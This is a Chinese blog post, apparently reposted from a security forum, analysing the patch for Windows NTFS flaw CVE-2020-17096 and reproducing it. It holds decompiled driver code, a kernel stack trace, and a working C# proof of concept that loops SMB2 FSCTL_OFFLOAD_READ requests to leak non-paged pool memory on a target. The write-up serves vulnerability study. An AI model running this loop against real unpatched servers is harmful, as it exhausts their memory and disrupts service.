NTFS CVE-2020-17096 分析复现
转自先知社区:https://xz.aliyun.com/t/8996
简介
2020年12月微软发布CVE-2020-17096的补丁,zecops团队对此漏洞进行了分析,文章在这里,本文根据其文章进行复现学习。这个洞是NTFS模块,zecops分析出来是内存泄露,但是微软对这类内存泄漏的洞很少收,并且标注的是Remote Code Execution
,zecops团队也没有找到远程代码执行的地方,所以真正是否为zecops团队分析的那样还需要进一步研究。
补丁对比
问题出在ntfs.sys
中,下面是对比的18362.1171
和18362.1256
,出除去一些未识别的符号,可以直接定位到NtfsOffloadRead
函数
从函数名可以猜到是文件卸载读的操作,搜一下文档可以找到[MS-FSCC],其中的2.3.41 FSCTL_OFFLOAD_READ Request就是卸载读的操作,应该和这个函数有关
before patch
after patch
新版本红框函数内第一个参数从NULL
变为 IrpConetxt
并删除了一些对参数的判断,这个 IrpContext
就是 NtfsOffloadRead
函数的第一个参数 ,第一个函数和调试跟踪有关,应该是开发人员使用的,所以重点应该放在第二个 NtfsExtendedCompleteRequestInternal
函数,下面的代码基于补丁前的版本,如果第一个参数为NULL则直接跳过对第一个参数的操作,然后调用IRP完成函数
void __fastcall NtfsExtendedCompleteRequestInternal(__int64 a1, IRP *irp, int a3, __int64 a4, int a5)
{_QWORD *v5; // r13unsigned __int8 v6; // r12IRP *Irp; // rsi_IO_STACK_LOCATION *v10; // r15__int64 v11; // raxvoid *v12; // rcxbool v13; // sfvoid *v14; // rcx_QWORD *v15; // r14_QWORD *v16; // raxvoid *v17; // rcxPFILE_OBJECT v18; // rax__int64 v19; // rcx__int64 v20; // r8v5 = 0i64;v6 = a4;Irp = irp;v10 = 0i64;if ( irp ){v10 = irp->Tail.Overlay.CurrentStackLocation;if...}if ( a1 ){// ...}
LABEL_27:if ( Irp ){v18 = v10->FileObject;if ( v18 )v5 = v18->FsContext;Irp->IoStatus.Status = a3;if ( (unsigned __int8)(v10->MajorFunction - 3) <= 1u&& a3 == 0xC000009A&& v5&& (*(_DWORD *)(v5[21] + 4i64) & 4) != 0&& IoIsOperationSynchronous(Irp) ){++NtfsFailedPagingFileOps;}if ( v10->MajorFunction == 3 && a3 == 0xC000009A && (Irp->Flags & 2) != 0 )++NtfsFailedPagingReads;IofCompleteRequest(Irp, 1);}
}
在patch之后会传入IrpContext
,若其非零则会解析很多字段,做一些释放资源和释放内存的操作,调用一些Cancel
、Cleanup
、Dereference
的函数,由此猜测patch之前没有很好的处理这些释放的资源,导致了内存泄露
if ( irpcontext ){// ...if ( v12 ){// ...TxfRestoreIsoSnapshots(v12);*(_QWORD *)(irpcontext + 416) = 0i64;}// ...if ( *(_QWORD *)(irpcontext + 408) ){LOBYTE(irp) = a5 == 0;TxfProcessCancelList(irpcontext, irp);}v14 = *(void **)(irpcontext + 416);if ( v14 && !a5 ){TxfRestoreIsoSnapshots(v14);*(_QWORD *)(irpcontext + 416) = 0i64;}v15 = (_QWORD *)(irpcontext + 432);v16 = *(_QWORD **)(irpcontext + 432);if ( v16 && v16 != v15 )TxfProcessTxfFcbCleanupListInternal(irpcontext, a5 == 0, v6, 0i64);if ( a5 ){if ( !v6 ){NtfsCleanupIrpContext(irpcontext, 1i64);goto LABEL_27;}}else if ( !v6 ){v17 = *(void **)(irpcontext + 416);if ( v17 ){TxfCleanupIsoSnapshots(v17);*(_QWORD *)(irpcontext + 416) = 0i64;}if ( *(_QWORD *)(irpcontext + 392) ){LOBYTE(irp) = 1;TxfDereferenceTransaction(irpcontext + 392, irp);}goto LABEL_26;}if ( *v15 && (_QWORD *)*v15 != v15 ){LOBYTE(a4) = 1;TxfProcessTxfFcbCleanupListInternal(irpcontext, 0i64, 1i64, a4);}goto LABEL_22;}
根据zecops的文章分析,该漏洞导致了非分页池中的内存泄漏,而该内存池驻留在物理内存中。需要循环发送FSCTL_OFFLOAD_READ
操作,根据zecops的部分poc代码,首先协商了SMB2协议,然后创建一个文件夹,此处必须是文件夹才能进入到patch函数的路径。
漏洞复现
FSCTL_OFFLOAD_READ
操作可以基于SMB2协议实现,所以zecops采用的是微软的C#框架,首先需要设置一个共享文件夹用于SMB2协议操作,具体操作如下图,我在桌面创建了一个测试文件夹,右键属性进入共享,因为需要创建文件夹,所以需要在高级共享里设置权限为可读可写
设置好之后记住网络路径,然后用测试框架测试即可,有两种方法可以测试,可以用ConnectShare
指定共享文件进行连接,也可以直接用Connect
函数进行连接,只是用Connect
函数需要修改Smb2ClientTransport.cs
,指定shareName
参数为共享目录名InternalConnectShare(domain, userName, password, "test", timeout, securityPackage, useServerToken);
,不然会自动加上"IPC$"
的字符导致所引目录错误
// Microsoft.Protocols.TestTools.StackSdk.FileAccessService.dll
// Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.dll
// Microsoft.Protocols.TestTools.StackSdk.Security.SspiLib.dll
// Microsoft.Protocols.TestTools.StackSdk.dllusing System;
using Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2;
using Microsoft.Protocols.TestTools.StackSdk.Security.SspiLib;
using Microsoft.Protocols.TestTools.StackSdk.FileAccessService;
using Microsoft.Protocols.TestTools.StackSdk;namespace NTFSTest
{class Program{static void Main(string[] args){var ip = "192.168.62.142";var domain = "DESKTOP-KOT4SRO";var share = "test";var remote_path = "Thunder_Test";Smb2ClientTransport Client = new Smb2ClientTransport();var ipAddress = System.Net.IPAddress.Parse(ip);// SMB2 initializationClient.ConnectShare("DESKTOP-KOT4SRO", ipAddress, domain, "thunder", "", share, SecurityPackageType.Negotiate, true);// Create folderClient.Create(remote_path,FsDirectoryDesiredAccess.GENERIC_READ | FsDirectoryDesiredAccess.GENERIC_WRITE,FsImpersonationLevel.Anonymous,FsFileAttribute.FILE_ATTRIBUTE_DIRECTORY,FsCreateDisposition.FILE_CREATE,FsCreateOption.FILE_DIRECTORY_FILE);// Construct FSCTL_OFFLOAD_READ_INPUT packageFSCTL_OFFLOAD_READ_INPUT offloadReadInput = new FSCTL_OFFLOAD_READ_INPUT();offloadReadInput.Size = 32;offloadReadInput.Flags = FSCTL_OFFLOAD_READ_INPUT_FLAGS.NONE;offloadReadInput.TokenTimeToLive = 0;offloadReadInput.Reserved = 0;offloadReadInput.FileOffset = 0;offloadReadInput.CopyLength = 0;// ToByesbyte[] requestInputOffloadRead = TypeMarshal.ToBytes(offloadReadInput);while (true){// Send FSCTL_OFFLOAD_READClient.SendIoctlPayload(CtlCode_Values.FSCTL_OFFLOAD_READ, requestInputOffloadRead);// Recv DataClient.ExpectIoctlPayload(out _, out _);}}}
}
测试结果会断在ntfs!NtfsOffloadRead
,运行会调用NtfsExtendedCompleteRequestInternal
函数导致内存泄露
回溯栈如下
kd> k# Child-SP RetAddr Call Site
00 ffff8084`daedf438 fffff804`622db831 Ntfs!NtfsExtendedCompleteRequestInternal
01 ffff8084`daedf440 fffff804`6224ccc7 Ntfs!NtfsOffloadRead+0x79d05
02 ffff8084`daedf570 fffff804`6224c481 Ntfs!NtfsUserFsRequest+0x55f
03 ffff8084`daedf5f0 fffff804`5fe3b7ba Ntfs!NtfsFsdFileSystemControl+0x171
04 ffff8084`daedf710 fffff804`6061e0a9 nt!IopfCallDriver+0x56
05 ffff8084`daedf750 fffff804`5feb0a27 nt!IovCallDriver+0x275
06 ffff8084`daedf790 fffff804`61185609 nt!IofCallDriver+0x1be927
07 ffff8084`daedf7d0 fffff804`611bc190 FLTMGR!FltpLegacyProcessingAfterPreCallbacksCompleted+0x159
08 ffff8084`daedf850 fffff804`5fe3b7ba FLTMGR!FltpFsControl+0x110
09 ffff8084`daedf8b0 fffff804`6061e0a9 nt!IopfCallDriver+0x56
0a ffff8084`daedf8f0 fffff804`5feb0a27 nt!IovCallDriver+0x275
0b ffff8084`daedf930 fffff804`5efebfcc nt!IofCallDriver+0x1be927
0c ffff8084`daedf970 fffff804`5efebcc3 srv2!Smb2ExecuteFSIoctl+0x21c
0d ffff8084`daedf9d0 fffff804`5f01c26e srv2!Smb2ExecuteIoctl+0xb3
0e ffff8084`daedfa20 fffff804`5eff9a9f srv2!Smb2ExecuteIoctlCallback+0xe
0f ffff8084`daedfa50 fffff804`5eff989a srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
10 ffff8084`daedfad0 fffff804`603d8137 srv2!RfspThreadPoolNodeWorkerRun+0x1ba
11 ffff8084`daedfb30 fffff804`5fdee585 nt!IopThreadStart+0x37
12 ffff8084`daedfb90 fffff804`5fe86128 nt!PspSystemThreadStartup+0x55
13 ffff8084`daedfbe0 00000000`00000000 nt!KiStartSystemThread+0x28
WireShark里会抓到循环发送的FSCTL_OFFLOAD_READ
包以及返回包
下面是测试效果,内存泄露的很慢,建议上2G的内存,不过还是能慢慢泄露的。
总结
本文主要是测试了一下zecops发的文章内容,复现对比了一下这个漏洞,感觉他们的文章更多是在抛砖引玉,到底是不是这个地方还需要更多的研究,不过在此之前建议先看看SMB的相关内容,这样理解起来会更快一些。
zecops分析文章
https://blog.zecops.com/vulnerabilities/ntfs-remote-code-execution-cve-2020-17096-analysis/
测试框架
https://github.com/microsoft/WindowsProtocolTestSuites
NTFS CVE-2020-17096 分析复现相关推荐
- 什么是cve什么是cwe_什么是CVE 2020 0601又名Curveball,为何如此危险
什么是cve什么是cwe Monday the 13th of January Brian Krebs published on his blog that he had sources tellin ...
- FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148)
聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...
- AIoT 2020 年分析
AIoT 2020 年分析 2020年,从智能手机到智能手表,从智能摄像头到智能汽车,随着AI.芯片.云计算.通信等基础技术的逐渐成熟,又一个行业来到了历史性的时刻--AIoT. 从"万物互 ...
- 【安全漏洞】简要分析复现了最近的ProxyShell利用链
前言 近日,有研究员公布了自己针对微软的Exchange服务的攻击链的3种利用方式.微软官方虽然出了补丁,但是出于种种原因还是有较多用户不予理会,导致现在仍然有许多有漏洞的服务暴露在公网中,本文主要在 ...
- 入选2020爱分析银行和零售数字化转型代表厂商,永洪科技有哪些经典案例可以借鉴?
近日,<2020爱分析·银行数字化厂商全景报告>.<2020爱分析·消费品与零售数字化厂商全景报告>先后发布,永洪科技入选银行.零售行业数字化转型的代表厂商,聚焦自助式报表分析 ...
- FireEye 红队失窃工具大揭秘之:分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)
聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...
- FireEye红队失窃工具大揭秘之:分析复现Zoho ManageEngine RCE (CVE-2020-10189)
聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...
- FireEye 红队失窃工具大揭秘之:分析复现 Confluence路径穿越漏洞 (CVE-2019-3398)
聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...
- NTFS删除及恢复分析
实验名称:NTFS删除及恢复分析 一. 实验目的 通过对NTFS文件系统的学习,掌握NTFS的组成,能对其文件记录结构进行分析,知道在WinHex中怎样寻找文件记录MFT,分析MFT的10,30,80 ...
最新文章
- 博客堂也遇DotText经典Exception
- java B2B2C Springcloud多租户电子商城系统-spring-cloud-eureka
- SSH远程登录解析(linux)
- MySQL的GTID复制与传统复制的相互切换
- bzoj1038500AC!
- Discuz 7.2 /faq.php SQL注入漏洞
- python多维矩阵基础运算中的一点困惑
- mysql 中 where条件的OR 和 and 加括号的说法
- PoEdu - C++阶段班【Po学校】- 第1课
- Troubleshooting:重新安装Vertica建库后无法启动
- java怎么设置颜色_java怎么设置颜色
- 在android studio开发中,关于绘制GifView异常,硬件加速问题的解决办法
- EWSA1.50.0.298栈溢出错误
- Securing DevOps 免积分下载
- 儿童“益”站线上课堂 战“疫”不停学
- vb/vb.net开发技巧荟萃(七)
- CDR真实图片转水墨画效果制作教程
- RecSys'22|CARCA:交叉注意力感知上下文和属性进行推荐
- Xilinx FPGA 将寄存器放入IOB中
- 掌握 Windows 命令行界面:常用 DOS 命令简介